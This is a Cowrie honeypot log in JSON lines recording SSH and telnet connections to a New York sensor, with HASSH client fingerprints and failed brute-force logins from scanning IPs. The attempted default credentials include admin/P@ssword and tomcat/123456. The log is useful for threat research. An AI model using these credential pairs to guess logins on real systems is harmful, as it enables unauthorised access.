{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:07.217343Z","src_ip":"192.109.200.78","session":"ec95bd869ac5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36988,"dst_ip":"10.17.0.5","dst_port":22,"session":"cce518bf96a0","protocol":"ssh","message":"New connection: 192.109.200.78:36988 (10.17.0.5:22) [session: cce518bf96a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:09.769293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:09.774140Z","src_ip":"192.109.200.78","session":"cce518bf96a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:09.856426Z","src_ip":"192.109.200.78","session":"cce518bf96a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kevin","password":"kevin","message":"login attempt [kevin/kevin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:10.195291Z","src_ip":"192.109.200.78","session":"cce518bf96a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:11.281205Z","src_ip":"192.109.200.78","session":"cce518bf96a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37002,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5a596414fee","protocol":"ssh","message":"New connection: 192.109.200.78:37002 (10.17.0.5:22) [session: c5a596414fee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:14.084508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:14.089811Z","src_ip":"192.109.200.78","session":"c5a596414fee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:14.176063Z","src_ip":"192.109.200.78","session":"c5a596414fee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gns3","password":"gns3","message":"login attempt [gns3/gns3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:14.422286Z","src_ip":"192.109.200.78","session":"c5a596414fee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.19400644302368,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:15.367011Z","src_ip":"5.42.229.203","session":"6661b2111328","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.19407033920288,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:15.372690Z","src_ip":"5.42.229.203","session":"656cea3c79a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:15.509452Z","src_ip":"192.109.200.78","session":"c5a596414fee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56868,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ab25c99e068","protocol":"ssh","message":"New connection: 159.203.92.129:56868 (159.203.135.109:22) [session: 0ab25c99e068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:16.864712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:16.870415Z","src_ip":"159.203.92.129","session":"0ab25c99e068","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:16.875413Z","src_ip":"159.203.92.129","session":"0ab25c99e068","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@ssword","message":"login attempt [admin/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:16.886960Z","src_ip":"159.203.92.129","session":"0ab25c99e068","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:17.928285Z","src_ip":"159.203.92.129","session":"0ab25c99e068","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56080,"dst_ip":"10.17.0.5","dst_port":22,"session":"be4cc5cd63e8","protocol":"ssh","message":"New connection: 192.109.200.78:56080 (10.17.0.5:22) [session: be4cc5cd63e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:18.080309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:18.085313Z","src_ip":"192.109.200.78","session":"be4cc5cd63e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:18.168271Z","src_ip":"192.109.200.78","session":"be4cc5cd63e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dj","password":"dj","message":"login attempt [dj/dj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:18.419929Z","src_ip":"192.109.200.78","session":"be4cc5cd63e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":46228,"dst_ip":"159.203.135.109","dst_port":23,"session":"f93e5a22832c","protocol":"telnet","message":"New connection: 5.42.229.203:46228 (159.203.135.109:23) [session: f93e5a22832c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:18.885252Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:19.505439Z","src_ip":"192.109.200.78","session":"be4cc5cd63e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56082,"dst_ip":"10.17.0.5","dst_port":22,"session":"3dc4984e99d5","protocol":"ssh","message":"New connection: 192.109.200.78:56082 (10.17.0.5:22) [session: 3dc4984e99d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:22.197270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:22.203403Z","src_ip":"192.109.200.78","session":"3dc4984e99d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:22.292512Z","src_ip":"192.109.200.78","session":"3dc4984e99d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"123456","message":"login attempt [tomcat/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:22.541458Z","src_ip":"192.109.200.78","session":"3dc4984e99d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:23.627165Z","src_ip":"192.109.200.78","session":"3dc4984e99d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56090,"dst_ip":"10.17.0.5","dst_port":22,"session":"70503573b248","protocol":"ssh","message":"New connection: 192.109.200.78:56090 (10.17.0.5:22) [session: 70503573b248]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:26.342968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:26.464979Z","src_ip":"192.109.200.78","session":"70503573b248","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:26.468256Z","src_ip":"192.109.200.78","session":"70503573b248","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:26.826840Z","src_ip":"192.109.200.78","session":"70503573b248","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:28.207388Z","src_ip":"192.109.200.78","session":"70503573b248","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42832,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2d8968778a0","protocol":"ssh","message":"New connection: 192.109.200.78:42832 (10.17.0.5:22) [session: d2d8968778a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:30.507827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:30.512855Z","src_ip":"192.109.200.78","session":"d2d8968778a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:30.599847Z","src_ip":"192.109.200.78","session":"d2d8968778a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"123","message":"login attempt [nexus/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:31.471706Z","src_ip":"192.109.200.78","session":"d2d8968778a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:32.556560Z","src_ip":"192.109.200.78","session":"d2d8968778a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42846,"dst_ip":"10.17.0.5","dst_port":22,"session":"dccd89ae92fd","protocol":"ssh","message":"New connection: 192.109.200.78:42846 (10.17.0.5:22) [session: dccd89ae92fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:34.687365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:34.692654Z","src_ip":"192.109.200.78","session":"dccd89ae92fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:35.092934Z","src_ip":"192.109.200.78","session":"dccd89ae92fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yunwei","password":"yunwei","message":"login attempt [yunwei/yunwei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:35.341341Z","src_ip":"192.109.200.78","session":"dccd89ae92fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:36.429462Z","src_ip":"192.109.200.78","session":"dccd89ae92fd","protocol":"ssh"}
